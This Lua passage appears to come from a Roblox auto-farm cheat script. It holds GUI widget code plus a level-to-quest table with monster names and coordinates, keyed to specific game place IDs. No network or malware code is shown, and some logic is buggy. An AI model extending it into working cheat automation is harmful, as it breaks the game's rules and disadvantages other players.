SliderButton.InputBegan:Connect(function(input)

if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then

dragging = true

SliderButtonInput = input

SliderButtonStart = input.Position.X

slidein = SliderButton.AbsolutePosition.X

game.TweenService:Create(SliderCount, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

BackgroundTransparency = 0, Size = UDim2.new(0, 14, 0, 14)}):Play()

game.TweenService:Create(Title\_2, TweenInfo.new(0.12, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

AnchorPoint = Vector2.new(0.22, 0.8), TextSize = 13.000, BackgroundTransparency = 0, Size = UDim2.new(0, 25, 0, 25)}):Play()

game.TweenService:Create(SliderBox, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

TextTransparency = 0

}):Play()

game.TweenService:Create(SliderInput, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

BackgroundTransparency = 0.5

}):Play()

game.TweenService:Create(SliderStroke, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

Transparency = 0

}):Play()

end

input.Changed:Connect(function(input)

if input.UserInputType == Enum.UserInputState.End then

dragging = false

end

end)

end)

SliderButton.InputEnded:Connect(function(input)

if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then

dragging = false

SliderButtonInput = input

game.TweenService:Create(SliderCount, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

BackgroundTransparency = 0.3, Size = UDim2.new(0, 18, 0, 18)}):Play()

game.TweenService:Create(Title\_2, TweenInfo.new(0.12, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

AnchorPoint = Vector2.new(0, 0), TextSize = 8.000, BackgroundTransparency = 1.000, Size = UDim2.new(0, 18, 0, 18)}):Play()

game.TweenService:Create(SliderBox, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

TextTransparency = 0.5

}):Play()

game.TweenService:Create(SliderInput, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

BackgroundTransparency = 0.7

}):Play()

game.TweenService:Create(SliderStroke, TweenInfo.new(0.08, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {

Transparency = 0.5

}):Play()

end

end)

UserInputService.InputChanged:Connect(function(input)

if input == SliderButtonInput and dragging then

slide(input)

end

end)

function set(property)

if property == "Text" then

if tonumber(SliderBox.Text) then

if tonumber(SliderBox.Text) <= max then

Value = SliderBox.Text

Title\_2.Text = SliderBox.Text

SliderCount:TweenPosition(UDim2.new(((tonumber(SliderBox.Text) or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.08, true)

Title\_2:TweenPosition(UDim2.new(((tonumber(SliderBox.Text) or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.12, true)

pcall(function()

callback(Value)

end)

end

if tonumber(SliderBox.Text) > max then

SliderBox.Text = max

Title\_2.Text = max

Value = max

SliderCount:TweenPosition(UDim2.new(((max or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.08, true)

Title\_2:TweenPosition(UDim2.new(((max or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.12, true)

pcall(function()

callback(Value)

end)

end

if tonumber(SliderBox.Text) >= min then

Value = SliderBox.Text

Title\_2.Text = SliderBox.Text

SliderCount:TweenPosition(UDim2.new(((tonumber(SliderBox.Text) or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.08, true)

Title\_2:TweenPosition(UDim2.new(((tonumber(SliderBox.Text) or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.12, true)

pcall(function()

callback(Value)

end)

end

if tonumber(SliderBox.Text) < min then

Value = min

Title\_2 = min

SliderCount.Position = UDim2.new(((min or min) - min) / (max - min), 0, 0, 0)

Title\_2.Position = UDim2.new(((min or min) - min) / (max - min), 0, 0, 0)

pcall(function()

callback(Value)

end)

end

else

SliderBox.Text = "" or Value

Title\_2.Text = Value

end

end

end

SliderBox.Focused:Connect(function()

SliderBox.Changed:Connect(set)

end)

SliderBox.FocusLost:Connect(function(enterP)

if not enterP then

if SliderBox.Text == "" then

SliderBox.Text = min

Title\_2.Text = min

Value = min

SliderCount:TweenPosition(UDim2.new(((min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.08, true)

Title\_2:TweenPosition(UDim2.new(((min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.12, true)

pcall(function()

callback(Value)

end)

end

if tonumber(SliderBox.Text) > tonumber(max) then

Value = max

SliderBox.Text = max

Title\_2.Text = max

SliderCount:TweenPosition(UDim2.new(((max or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.08, true)

Title\_2:TweenPosition(UDim2.new(((max or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.12, true)

pcall(function()

callback(Value)

end)

else

Value = tonumber(SliderBox.Text)

end

if tonumber(SliderBox.Text) < min then

SliderBox.Text = min

Title\_2.Text = min

Value = min

SliderCount:TweenPosition(UDim2.new(((min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.08, true)

Title\_2:TweenPosition(UDim2.new(((min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.12, true)

pcall(function()

callback(Value)

end)

else

Value = tonumber(SliderBox.Text)

end

end

if tonumber(SliderBox.Text) > max then

SliderBox.Text = max

Title\_2.Text = max

Value = max

SliderCount:TweenPosition(UDim2.new(((max or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.08, true)

Title\_2:TweenPosition(UDim2.new(((max or min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.12, true)

pcall(function()

callback(Value)

end)

else

Value = tonumber(SliderBox.Text)

end

if tonumber(SliderBox.Text) < min then

SliderBox.Text = min

Title\_2.Text = min

Value = min

SliderCount.Position = UDim2.new(((min) - min) / (max - min), 0, 0, 0)

Title\_2.Position = UDim2.new(((min) - min) / (max - min), 0, 0, 0)

pcall(function()

callback(Value)

end)

else

Value = tonumber(SliderBox.Text)

end

if SliderBox.Text == "" then

SliderBox.Text = min

Title\_2.Text = min

Value = min

SliderCount:TweenPosition(UDim2.new(((min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.08, true)

Title\_2:TweenPosition(UDim2.new(((min) - min) / (max - min), 0, 0, 0), "InOut", "Linear", 0.12, true)

pcall(function()

callback(Value)

end)

end

end)

return sliderfunc

end

function main:Slider(text,min,max,set,callback)

local Slider = Instance.new("Frame")

local slidercorner = Instance.new("UICorner")

local sliderr = Instance.new("Frame")

local sliderrcorner = Instance.new("UICorner")

local SliderLabel = Instance.new("TextLabel")

local HAHA = Instance.new("Frame")

local AHEHE = Instance.new("TextButton")

local bar = Instance.new("Frame")

local bar1 = Instance.new("Frame")

local bar1corner = Instance.new("UICorner")

local barcorner = Instance.new("UICorner")

local circlebar = Instance.new("Frame")

local UICorner = Instance.new("UICorner")

local slidervalue = Instance.new("Frame")

local valuecorner = Instance.new("UICorner")

local TextBox = Instance.new("TextBox")

local UICorner\_2 = Instance.new("UICorner")

local posto = Instance.new("UIStroke")

Slider.Name = "Slider"

Slider.Parent = MainFramePage

Slider.BackgroundColor3 = \_G.Color

Slider.BackgroundTransparency = 0

Slider.Size = UDim2.new(0, 310, 0, 51)

slidercorner.CornerRadius = UDim.new(0, 5)

slidercorner.Name = "slidercorner"

slidercorner.Parent = Slider

sliderr.Name = "sliderr"

sliderr.Parent = Slider

sliderr.BackgroundTransparency = 0

sliderr.BackgroundColor3 = Color3.fromRGB(30,30,30)

sliderr.Position = UDim2.new(0, 1, 0, 1)

sliderr.Size = UDim2.new(0, 308, 0, 49)

sliderrcorner.CornerRadius = UDim.new(0, 5)

sliderrcorner.Name = "sliderrcorner"

sliderrcorner.Parent = sliderr

SliderLabel.Name = "SliderLabel"

SliderLabel.Parent = sliderr

SliderLabel.BackgroundColor3 = Color3.fromRGB(224,224,224)

SliderLabel.BackgroundTransparency = 1.000

SliderLabel.Position = UDim2.new(0, 15, 0, 0)

SliderLabel.Size = UDim2.new(0, 180, 0, 26)

SliderLabel.Font = Enum.Font.Gotham

SliderLabel.Text = text

SliderLabel.TextColor3 = Color3.fromRGB(224,224,224)

SliderLabel.TextSize = 12.000

SliderLabel.TextTransparency = 0

SliderLabel.TextXAlignment = Enum.TextXAlignment.Left

HAHA.Name = "HAHA"

HAHA.Parent = sliderr

HAHA.BackgroundColor3 = Color3.fromRGB(224,224,224)

HAHA.BackgroundTransparency = 1.000

HAHA.Size = UDim2.new(0, 290, 0, 29)

AHEHE.Name = "AHEHE"

AHEHE.Parent = sliderr

AHEHE.BackgroundColor3 = Color3.fromRGB(224,224,224)

AHEHE.BackgroundTransparency = 1.000

AHEHE.Position = UDim2.new(0, 10, 0, 35)

AHEHE.Size = UDim2.new(0, 290, 0, 5)

AHEHE.Font = Enum.Font.SourceSans

AHEHE.Text = ""

AHEHE.TextColor3 = Color3.fromRGB(0, 0, 0)

AHEHE.TextSize = 14.000

bar.Name = "bar"

bar.Parent = AHEHE

bar.BackgroundColor3 = \_G.BGColor\_2

bar.Size = UDim2.new(0, 290, 0, 5)

bar1.Name = "bar1"

bar1.Parent = bar

bar1.BackgroundColor3 = \_G.Color

bar1.BackgroundTransparency = 0

bar1.Size = UDim2.new(set/max, 0, 0, 5)

bar1corner.CornerRadius = UDim.new(0, 5)

bar1corner.Name = "bar1corner"

bar1corner.Parent = bar1

barcorner.CornerRadius = UDim.new(0, 5)

barcorner.Name = "barcorner"

barcorner.Parent = bar

circlebar.Name = "circlebar"

circlebar.Parent = bar1

circlebar.BackgroundColor3 = Color3.fromRGB(224,224,224)

circlebar.Position = UDim2.new(1, -2, 0, -3)

circlebar.Size = UDim2.new(0, 10, 0, 10)

UICorner.CornerRadius = UDim.new(0, 100)

UICorner.Parent = circlebar

slidervalue.Name = "slidervalue"

slidervalue.Parent = sliderr

slidervalue.BackgroundColor3 = \_G.Color

slidervalue.BackgroundTransparency = 1

slidervalue.Position = UDim2.new(0, 245, 0, 5)

slidervalue.Size = UDim2.new(0, 65, 0, 18)

valuecorner.CornerRadius = UDim.new(0, 5)

valuecorner.Name = "valuecorner"

valuecorner.Parent = slidervalue

TextBox.Parent = slidervalue

TextBox.BackgroundColor3 = \_G.BGColor\_2

TextBox.Position = UDim2.new(0, 0, 0, 0)

TextBox.Size = UDim2.new(0, 60, 0, 20)

TextBox.Font = Enum.Font.Gotham

TextBox.TextColor3 = Color3.fromRGB(224,224,224)

TextBox.TextSize = 9.000

TextBox.Text = set

TextBox.TextTransparency = 0

posto.Name = "posto"

posto.Parent = TextBox

posto.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

posto.Color = Color3.fromRGB(224,224,224)

posto.LineJoinMode = Enum.LineJoinMode.Round

posto.Thickness = 1

posto.Transparency = 0

posto.Enabled = true

posto.Archivable = true

UICorner\_2.CornerRadius = UDim.new(0, 5)

UICorner\_2.Parent = TextBox

local mouse = game.Players.LocalPlayer:GetMouse()

local uis = game:GetService("UserInputService")

if Value == nil then

Value = set

pcall(function()

callback(Value)

end)

end

AHEHE.MouseButton1Down:Connect(function()

Value = math.floor((((tonumber(max) - tonumber(min)) / 300) \* bar1.AbsoluteSize.X) + tonumber(min)) or 0

pcall(function()

callback(Value)

end)

bar1.Size = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X, 0, 300), 0, 5)

circlebar.Position = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X - 2, 0, 290), 0, -3)

moveconnection = mouse.Move:Connect(function()

TextBox.Text = Value

Value = math.floor((((tonumber(max) - tonumber(min)) / 300) \* bar1.AbsoluteSize.X) + tonumber(min))

pcall(function()

callback(Value)

end)

bar1.Size = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X, 0, 300), 0, 5)

circlebar.Position = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X - 2, 0, 290), 0, -3)

end)

releaseconnection = uis.InputEnded:Connect(function(Mouse)

if Mouse.UserInputType == Enum.UserInputType.MouseButton1 then

Value = math.floor((((tonumber(max) - tonumber(min)) / 300) \* bar1.AbsoluteSize.X) + tonumber(min))

pcall(function()

callback(Value)

end)

bar1.Size = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X, 0, 300), 0, 5)

circlebar.Position = UDim2.new(0, math.clamp(mouse.X - bar1.AbsolutePosition.X - 2, 0, 290), 0, -3)

moveconnection:Disconnect()

releaseconnection:Disconnect()

end

end)

end)

releaseconnection = uis.InputEnded:Connect(function(Mouse)

if Mouse.UserInputType == Enum.UserInputType.MouseButton1 then

Value = math.floor((((tonumber(max) - tonumber(min)) / 300) \* bar1.AbsoluteSize.X) + tonumber(min))

TextBox.Text = Value

end

end)

TextBox.FocusLost:Connect(function()

if tonumber(TextBox.Text) > max then

TextBox.Text = max

end

bar1.Size = UDim2.new((TextBox.Text or 0) / max, 0, 0, 5)

circlebar.Position = UDim2.new(1, -2, 0, -3)

TextBox.Text = tostring(TextBox.Text and math.floor((TextBox.Text / max) \* (max - min) + min))

pcall(callback, TextBox.Text)

end)

end

function main:Textbox(text,disappear,callback)

local Textbox = Instance.new("Frame")

local TextboxCorner = Instance.new("UICorner")

local Textboxx = Instance.new("Frame")

local TextboxxCorner = Instance.new("UICorner")

local TextboxLabel = Instance.new("TextLabel")

local txtbtn = Instance.new("TextButton")

local RealTextbox = Instance.new("TextBox")

local UICorner = Instance.new("UICorner")

Textbox.Name = "Textbox"

Textbox.Parent = MainFramePage

Textbox.BackgroundColor3 = \_G.Color

Textbox.BackgroundTransparency = 0

Textbox.Size = UDim2.new(0, 310, 0, 31)

TextboxCorner.CornerRadius = UDim.new(0, 5)

TextboxCorner.Name = "TextboxCorner"

TextboxCorner.Parent = Textbox

Textboxx.Name = "Textboxx"

Textboxx.Parent = Textbox

Textboxx.BackgroundColor3 = Color3.fromRGB(30,30,30)

Textboxx.Position = UDim2.new(0, 1, 0, 1)

Textboxx.Size = UDim2.new(0, 310, 0, 29)

TextboxxCorner.CornerRadius = UDim.new(0, 5)

TextboxxCorner.Name = "TextboxxCorner"

TextboxxCorner.Parent = Textboxx

TextboxLabel.Name = "TextboxLabel"

TextboxLabel.Parent = Textbox

TextboxLabel.BackgroundColor3 = Color3.fromRGB(224,224,224)

TextboxLabel.BackgroundTransparency = 1.000

TextboxLabel.Position = UDim2.new(0, 15, 0, 0)

TextboxLabel.Text = text

TextboxLabel.Size = UDim2.new(0, 145, 0, 31)

TextboxLabel.Font = Enum.Font.Gotham

TextboxLabel.TextColor3 = Color3.fromRGB(225, 225, 225)

TextboxLabel.TextSize = 16.000

TextboxLabel.TextTransparency = 0

TextboxLabel.TextXAlignment = Enum.TextXAlignment.Left

txtbtn.Name = "txtbtn"

txtbtn.Parent = Textbox

txtbtn.BackgroundColor3 = Color3.fromRGB(224,224,224)

txtbtn.BackgroundTransparency = 1.000

txtbtn.Position = UDim2.new(0, 1, 0, 1)

txtbtn.Size = UDim2.new(0, 310, 0, 29)

txtbtn.Font = Enum.Font.SourceSans

txtbtn.Text = ""

txtbtn.TextColor3 = Color3.fromRGB(0, 0, 0)

txtbtn.TextSize = 14.000

RealTextbox.Name = "RealTextbox"

RealTextbox.Parent = Textbox

RealTextbox.BackgroundColor3 = Color3.fromRGB(35, 35, 35)

RealTextbox.BackgroundTransparency = 0

RealTextbox.Position = UDim2.new(0, 230, 0, 4)

RealTextbox.Size = UDim2.new(0, 100, 0, 24)

RealTextbox.Font = Enum.Font.Gotham

RealTextbox.Text = ""

RealTextbox.TextColor3 = Color3.fromRGB(225, 225, 225)

RealTextbox.TextSize = 11.000

RealTextbox.TextTransparency = 0

RealTextbox.FocusLost:Connect(function()

callback(RealTextbox.Text)

if disappear then

RealTextbox.Text = ""

end

end)

UICorner.CornerRadius = UDim.new(0, 5)

UICorner.Parent = RealTextbox

end

function main:Label(text)

local Label = Instance.new("TextLabel")

local PaddingLabel = Instance.new("UIPadding")

local labelfunc = {}

Label.Name = "Label"

Label.Parent = MainFramePage

Label.BackgroundColor3 = Color3.fromRGB(224,224,224)

Label.BackgroundTransparency = 1.000

Label.Size = UDim2.new(0, 325, 0, 20)

Label.Font = Enum.Font.Gotham

Label.TextColor3 = Color3.fromRGB(225, 225, 225)

Label.TextSize = 12.000

Label.Text = text

Label.TextXAlignment = Enum.TextXAlignment.Left

PaddingLabel.PaddingLeft = UDim.new(0,15)

PaddingLabel.Parent = Label

PaddingLabel.Name = "PaddingLabel"

function labelfunc:Set(newtext)

Label.Text = newtext

end

return labelfunc

end

function main:Label1(text)

local Label1 = Instance.new("TextLabel")

local PaddingLabel1 = Instance.new("UIPadding")

local Label1func = {}

Label1.Name = "Label1"

Label1.Parent = MainFramePage

Label1.BackgroundColor3 = Color3.fromRGB(224,224,224)

Label1.BackgroundTransparency = 1.000

Label1.Size = UDim2.new(0, 325, 0, 20)

Label1.Font = Enum.Font.Gotham

Label1.TextColor3 = Color3.fromRGB(225, 225, 225)

Label1.TextSize = 12.000

Label1.Text = text

Label1.TextXAlignment = Enum.TextXAlignment.Left

PaddingLabel1.PaddingLeft = UDim.new(0,15)

PaddingLabel1.Parent = Label1

PaddingLabel1.Name = "PaddingLabel1"

function Label1func:Refresh(tochange)

Label1.Text = tochange

end

return Label1func

end

function main:Seperator(text)

local Seperator = Instance.new("Frame")

local Sep1 = Instance.new("Frame")

local Sep2 = Instance.new("TextLabel")

local Sep3 = Instance.new("Frame")

Seperator.Name = "Seperator"

Seperator.Parent = MainFramePage

Seperator.BackgroundColor3 = Color3.fromRGB(224,224,224)

Seperator.BackgroundTransparency = 1.000

Seperator.Size = UDim2.new(0, 290, 0, 20)

Sep1.Name = "Sep1"

Sep1.Parent = Seperator

Sep1.BackgroundColor3 = \_G.Color

Sep1.BorderSizePixel = 0

Sep1.Position = UDim2.new(0, 0, 0, 10)

Sep1.Size = UDim2.new(0, 80, 0, 1)

Sep2.Name = "Sep2"

Sep2.Parent = Seperator

Sep2.BackgroundColor3 = Color3.fromRGB(224,224,224)

Sep2.BackgroundTransparency = 1.000

Sep2.Position = UDim2.new(0, 120, 0, 0)

Sep2.Size = UDim2.new(0, 80, 0, 20)

Sep2.Font = Enum.Font.Gotham

Sep2.Text = text

Sep2.TextColor3 = Color3.fromRGB(224,224,224)

Sep2.TextSize = 14.000

Sep3.Name = "Sep3"

Sep3.Parent = Seperator

Sep3.BackgroundColor3 = \_G.Color

Sep3.BorderSizePixel = 0

Sep3.Position = UDim2.new(0, 240, 0, 10)

Sep3.Size = UDim2.new(0, 80, 0, 1)

end

function main:Line()

local Linee = Instance.new("Frame")

local Line = Instance.new("Frame")

Linee.Name = "Linee"

Linee.Parent = MainFramePage

Linee.BackgroundColor3 = Color3.fromRGB(224,224,224)

Linee.BackgroundTransparency = 1.000

Linee.Position = UDim2.new(0, 0, 0.119999997, 0)

Linee.Size = UDim2.new(0, 310, 0, 20)

Line.Name = "Line"

Line.Parent = Linee

Line.BackgroundColor3 = \_G.Color

Line.BorderSizePixel = 0

Line.Position = UDim2.new(0, 0, 0, 10)

Line.Size = UDim2.new(0, 325, 0, 1)

end

return main

end

return uitab

end

if game.PlaceId == 2753915549 then

World1 = true

elseif game.PlaceId == 4442272183 then

World2 = true

elseif game.PlaceId == 7449423635 then

World3 = true

end

function CheckQuest()

local MyLevel = game.Players.LocalPlayer.Data.Level.Value

if World1 then

if MyLevel == 1 or MyLevel <= 9 or \_G.Select\_Mob\_Farm == "Bandit [Lv. 5]" then -- Bandit

Ms = "Bandit [Lv. 5]"

NameQuest = "BanditQuest1"

LevelQuest = 1

NameMon = "Bandit"

CFrameQuest = CFrame.new(1061.66699, 16.5166187, 1544.52905, -0.942978859, -3.33851502e-09, 0.332852632, 7.04340497e-09, 1, 2.99841325e-08, -0.332852632, 3.06188177e-08, -0.942978859)

CFrameMon = CFrame.new(1199.31287, 52.2717781, 1536.91516, -0.929782331, 6.60215846e-08, -0.368109822, 3.9077392e-08, 1, 8.06501603e-08, 0.368109822, 6.06023249e-08, -0.929782331)

SPAWNPOINT = "Default"

elseif MyLevel == 10 or MyLevel <= 14 or \_G.Select\_Mob\_Farm == "Monkey [Lv. 14]" then -- Monkey

Ms = "Monkey [Lv. 14]"

NameQuest = "JungleQuest"

LevelQuest = 1

NameMon = "Monkey"

CFrameQuest = CFrame.new(-1604.12012, 36.8521118, 154.23732, 0.0648873374, -4.70858913e-06, -0.997892559, 1.41431883e-07, 1, -4.70933674e-06, 0.997892559, 1.64442184e-07, 0.0648873374)

CFrameMon = CFrame.new(-1502.74609, 98.5633316, 90.6417007, 0.836947978, 0, 0.547282517, -0, 1, -0, -0.547282517, 0, 0.836947978)

SPAWNPOINT = "Jungle"

elseif MyLevel == 15 or MyLevel <= 29 or \_G.Select\_Mob\_Farm == "Gorilla [Lv. 20]" then -- Gorilla

Ms = "Gorilla [Lv. 20]"

NameQuest = "JungleQuest"

LevelQuest = 2

NameMon = "Gorilla"

CFrameQuest = CFrame.new(-1604.12012, 36.8521118, 154.23732, 0.0648873374, -4.70858913e-06, -0.997892559, 1.41431883e-07, 1, -4.70933674e-06, 0.997892559, 1.64442184e-07, 0.0648873374)

CFrameMon = CFrame.new(-1223.52808, 6.27936459, -502.292664, 0.310949147, -5.66602516e-08, 0.950426519, -3.37275488e-08, 1, 7.06501808e-08, -0.950426519, -5.40241736e-08, 0.310949147)

SPAWNPOINT = "Jungle"

elseif MyLevel == 30 or MyLevel <= 39 or \_G.Select\_Mob\_Farm == "Pirate [Lv. 35]" then -- Pirate

Ms = "Pirate [Lv. 35]"

NameQuest = "BuggyQuest1"

LevelQuest = 1

NameMon = "Pirate"

CFrameQuest = CFrame.new(-1139.59717, 4.75205183, 3825.16211, -0.959730506, -7.5857054e-09, 0.280922383, -4.06310328e-08, 1, -1.11807175e-07, -0.280922383, -1.18718916e-07, -0.959730506)

CFrameMon = CFrame.new(-1219.32324, 4.75205183, 3915.63452, -0.966492832, -6.91238853e-08, 0.25669381, -5.21195496e-08, 1, 7.3047012e-08, -0.25669381, 5.72206496e-08, -0.966492832)

SPAWNPOINT = "Pirate"

elseif MyLevel == 40 or MyLevel <= 59 or \_G.Select\_Mob\_Farm == "Brute [Lv. 45]" then -- Brute

Ms = "Brute [Lv. 45]"

NameQuest = "BuggyQuest1"

LevelQuest = 2

NameMon = "Brute"

CFrameQuest = CFrame.new(-1139.59717, 4.75205183, 3825.16211, -0.959730506, -7.5857054e-09, 0.280922383, -4.06310328e-08, 1, -1.11807175e-07, -0.280922383, -1.18718916e-07, -0.959730506)

CFrameMon = CFrame.new(-1146.49646, 96.0936813, 4312.1333, -0.978175163, -1.53222057e-08, 0.207781896, -3.33316912e-08, 1, -8.31738873e-08, -0.207781896, -8.82843523e-08, -0.978175163)

SPAWNPOINT = "Pirate"

elseif MyLevel == 60 or MyLevel <= 74 or \_G.Select\_Mob\_Farm == "Desert Bandit [Lv. 60]" then -- Desert Bandit

Ms = "Desert Bandit [Lv. 60]"

NameQuest = "DesertQuest"

LevelQuest = 1

NameMon = "Desert Bandit"

CFrameQuest = CFrame.new(897.031128, 6.43846416, 4388.97168, -0.804044724, 3.68233266e-08, 0.594568789, 6.97835176e-08, 1, 3.24365246e-08, -0.594568789, 6.75715199e-08, -0.804044724)

CFrameMon = CFrame.new(932.788818, 6.4503746, 4488.24609, -0.998625934, 3.08948351e-08, 0.0524050146, 2.79967303e-08, 1, -5.60361286e-08, -0.0524050146, -5.44919629e-08, -0.998625934)

SPAWNPOINT = "Desert"

elseif MyLevel == 75 or MyLevel <= 89 or \_G.Select\_Mob\_Farm == "Desert Officer [Lv. 70]" then -- Desert Officre

Ms = "Desert Officer [Lv. 70]"

NameQuest = "DesertQuest"

LevelQuest = 2

NameMon = "Desert Officer"

CFrameQuest = CFrame.new(897.031128, 6.43846416, 4388.97168, -0.804044724, 3.68233266e-08, 0.594568789, 6.97835176e-08, 1, 3.24365246e-08, -0.594568789, 6.75715199e-08, -0.804044724)

CFrameMon = CFrame.new(1580.03198, 4.61375761, 4366.86426, 0.135744005, -6.44280718e-08, -0.990743816, 4.35738308e-08, 1, -5.90598574e-08, 0.990743816, -3.51534837e-08, 0.135744005)

SPAWNPOINT = "Desert"

elseif MyLevel == 90 or MyLevel <= 99 or \_G.Select\_Mob\_Farm == "Snow Bandit [Lv. 90]" then -- Snow Bandits

Ms = "Snow Bandit [Lv. 90]"

NameQuest = "SnowQuest"

LevelQuest = 1

NameMon = "Snow Bandits"

CFrameQuest = CFrame.new(1384.14001, 87.272789, -1297.06482, 0.348555952, -2.53947841e-09, -0.937287986, 1.49860568e-08, 1, 2.86358204e-09, 0.937287986, -1.50443711e-08, 0.348555952)

CFrameMon = CFrame.new(1370.24316, 102.403511, -1411.52905, 0.980274439, -1.12995728e-08, 0.197641045, -9.57343449e-09, 1, 1.04655214e-07, -0.197641045, -1.04482936e-07, 0.980274439)

SPAWNPOINT = "Ice"

elseif MyLevel == 100 or MyLevel <= 119 or \_G.Select\_Mob\_Farm == "Snowman [Lv. 100]" then -- Snowman

Ms = "Snowman [Lv. 100]"

NameQuest = "SnowQuest"

LevelQuest = 2

NameMon = "Snowman"

CFrameQuest = CFrame.new(1384.14001, 87.272789, -1297.06482, 0.348555952, -2.53947841e-09, -0.937287986, 1.49860568e-08, 1, 2.86358204e-09, 0.937287986, -1.50443711e-08, 0.348555952)

CFrameMon = CFrame.new(1370.24316, 102.403511, -1411.52905, 0.980274439, -1.12995728e-08, 0.197641045, -9.57343449e-09, 1, 1.04655214e-07, -0.197641045, -1.04482936e-07, 0.980274439)

SPAWNPOINT = "Ice"

elseif MyLevel == 120 or MyLevel <= 149 or \_G.Select\_Mob\_Farm == "Chief Petty Officer [Lv. 120]" then -- Chief Petty Officer

Ms = "Chief Petty Officer [Lv. 120]"

NameQuest = "MarineQuest2"

LevelQuest = 1

NameMon = "Chief Petty Officer"

CFrameQuest = CFrame.new(-5035.0835, 28.6520386, 4325.29443, 0.0243340395, -7.08064647e-08, 0.999703884, -6.36926814e-08, 1, 7.23777944e-08, -0.999703884, -6.54350671e-08, 0.0243340395)

CFrameMon = CFrame.new(-4882.8623, 22.6520386, 4255.53516, 0.273695946, -5.40380647e-08, -0.96181643, 4.37720793e-08, 1, -4.37274998e-08, 0.96181643, -3.01326679e-08, 0.273695946)

SPAWNPOINT = "MarineBase"

elseif MyLevel == 150 or MyLevel <= 174 or \_G.Select\_Mob\_Farm == "Sky Bandit [Lv. 150]" then -- Sky Bandit

Ms = "Sky Bandit [Lv. 150]"

NameQuest = "SkyQuest"

LevelQuest = 1

NameMon = "Sky Bandit"

CFrameQuest = CFrame.new(-4841.83447, 717.669617, -2623.96436, -0.875942111, 5.59710216e-08, -0.482416272, 3.04023082e-08, 1, 6.08195947e-08, 0.482416272, 3.86078725e-08, -0.875942111)

CFrameMon = CFrame.new(-4970.74219, 294.544342, -2890.11353, -0.994874597, -8.61311236e-08, -0.101116329, -9.10836206e-08, 1, 4.43614923e-08, 0.101116329, 5.33441664e-08, -0.994874597)

SPAWNPOINT = "Sky"

elseif MyLevel == 175 or MyLevel <= 189 or \_G.Select\_Mob\_Farm == "Dark Master [Lv. 175]" then -- Dark Master

Ms = "Dark Master [Lv. 175]"

NameQuest = "SkyQuest"

LevelQuest = 2

NameMon = "Dark Master"

CFrameQuest = CFrame.new(-4841.83447, 717.669617, -2623.96436, -0.875942111, 5.59710216e-08, -0.482416272, 3.04023082e-08, 1, 6.08195947e-08, 0.482416272, 3.86078725e-08, -0.875942111)

CFrameMon = CFrame.new(-5220.58594, 430.693298, -2278.17456, -0.925375521, 1.12086873e-08, 0.379051805, -1.05115507e-08, 1, -5.52320891e-08, -0.379051805, -5.50948407e-08, -0.925375521)

SPAWNPOINT = "Sky"

elseif MyLevel == 190 or MyLevel <= 209 or \_G.Select\_Mob\_Farm == "Prisoner [Lv. 190]" then

Ms = "Prisoner [Lv. 190]"

NameQuest = "PrisonerQuest"

LevelQuest = 1

NameMon = "Prisoner"

CFrameQuest = CFrame.new(5308.93115, 1.65517521, 475.120514, -0.0894274712, -5.00292918e-09, -0.995993316, 1.60817859e-09, 1, -5.16744869e-09, 0.995993316, -2.06384709e-09, -0.0894274712)

CFrameMon = CFrame.new(5433.39307, 88.678093, 514.986877, 0.879988372, 0, -0.474995494, 0, 1, 0, 0.474995494, 0, 0.879988372)

SPAWNPOINT = "Prison"

elseif MyLevel == 210 or MyLevel <= 249 or \_G.Select\_Mob\_Farm == "Dangerous Prisoner [Lv. 210]" then

Ms = "Dangerous Prisoner [Lv. 210]"

NameQuest = "PrisonerQuest"

LevelQuest = 2

NameMon = "Dangerous Prisoner"

CFrameQuest = CFrame.new(5308.93115, 1.65517521, 475.120514, -0.0894274712, -5.00292918e-09, -0.995993316, 1.60817859e-09, 1, -5.16744869e-09, 0.995993316, -2.06384709e-09, -0.0894274712)

CFrameMon = CFrame.new(5433.39307, 88.678093, 514.986877, 0.879988372, 0, -0.474995494, 0, 1, 0, 0.474995494, 0, 0.879988372)

SPAWNPOINT = "Prison"

elseif MyLevel == 250 or MyLevel <= 274 or \_G.Select\_Mob\_Farm == "Toga Warrior [Lv. 225]" then -- Toga Warrior

Ms = "Toga Warrior [Lv. 250]"

NameQuest = "ColosseumQuest"

LevelQuest = 1

NameMon = "Toga Warrior"

CFrameQuest = CFrame.new(-1576.11743, 7.38933945, -2983.30762, 0.576966345, 1.22114863e-09, 0.816767931, -3.58496594e-10, 1, -1.24185606e-09, -0.816767931, 4.2370063e-10, 0.576966345)

